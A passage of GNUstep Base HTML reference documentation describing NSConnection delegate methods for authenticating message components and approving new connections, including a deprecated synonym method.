rel="gsdoc" href="NSData.html#class$NSData">NSData</a>*)authenticationData;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> </p> <p> This is not an NSConnection method, but is a method that may be implemented by the delegate of an NSConnection object. </p> <p> </p> <p> If the delegate implements this method, the NSConnection will invoke the method for every message request or reply it receives from the remote NSConnection. The delegate should use the authentication data to check all the NSData objects in the <var>components</var> array (ignoring NSPort objects), and return <code>YES</code> if they are valid, <code>NO</code> otherwise. </p> <p> </p> <p> If the method returns <code>NO</code> then an NSFailedAuthentication exception will be raised. </p> <p> </p> <p> In GNUstep the <var>components</var> array is mutable, allowing you to replace the NSData objects with your own version. </p> <p> </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSObject(NSConnectionDelegate)-authenticationDataForComponents$">authenticationDataForComponents: </a></h3> - (<a rel="gsdoc" href="NSData.html#class$NSData">NSData</a>*) <b>authenticationDataForComponents:</b> (<a rel="gsdoc" href="NSArray.html#class$NSMutableArray">NSMutableArray</a>*)components;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> </p> <p> This is not an NSConnection method, but is a method that may be implemented by the delegate of an NSConnection object. </p> <p> </p> <p> If the delegate implements this method, the NSConnection will invoke the method for every message request to reply it sends to the remote NSConnection. The delegate should generate authentication data by examining all the NSData objects in the <var>components</var> array (ignoring NSPort objects), and return the authentication data that can be used by the remote NSConnection. </p> <p> </p> <p> If the method returns <code>nil</code> then an NSGenericException exception will be raised. </p> <p> </p> <p> In GNUstep the <var>components</var> array is mutable, allowing you to replace the NSData objects with your own version. </p> <p> </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSObject(NSConnectionDelegate)-connection$didConnect$">connection: didConnect: </a></h3> - (<a rel="gsdoc" href="#class$NSConnection">NSConnection</a>*) <b>connection:</b> (<a rel="gsdoc" href="#class$NSConnection">NSConnection</a>*)ancestorConn<b> didConnect:</b> (<a rel="gsdoc" href="#class$NSConnection">NSConnection</a>*)newConn;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> <em>Description forthcoming.</em> </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSObject(NSConnectionDelegate)-connection$shouldMakeNewConnection$">connection: shouldMakeNewConnection: </a></h3> - (BOOL) <b>connection:</b> (<a rel="gsdoc" href="#class$NSConnection">NSConnection</a>*)parent<b> shouldMakeNewConnection:</b> (<a rel="gsdoc" href="#class$NSConnection">NSConnection</a>*)newConnection;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> </p> <p> This is not an NSConnection method, but is a method that may be implemented by the delegate of an NSConnection object. </p> <p> </p> <p> If the delegate implements this method, it will be called whenever a new NSConnection is created that has this NSConnection as its <var>parent</var>. The delegate may take this opportunity to adjust the configuration of the new connection and may return a boolean value to tell the <var>parent</var> whether the creation of the new connection is to be permitted or not. </p> <p> </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSObject(NSConnectionDelegate)-makeNewConnection$sender$">makeNewConnection: sender: </a></h3> - (BOOL) <b>makeNewConnection:</b> (<a rel="gsdoc" href="#class$NSConnection">NSConnection</a>*)newConnection<b> sender:</b> (<a rel="gsdoc" href="#class$NSConnection">NSConnection</a>*)parent;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> An old fashioned synonym for <a rel="gsdoc" href="#method$NSObject(NSConnectionDelegate)-connection$shouldMakeNewConnection$">-connection:shouldMakeNewConnection:</a> - don't use this. </div> <hr width="25%" align="left" /> </div> <br /> <a href="Base.html">Up</a> </font> </body> </html>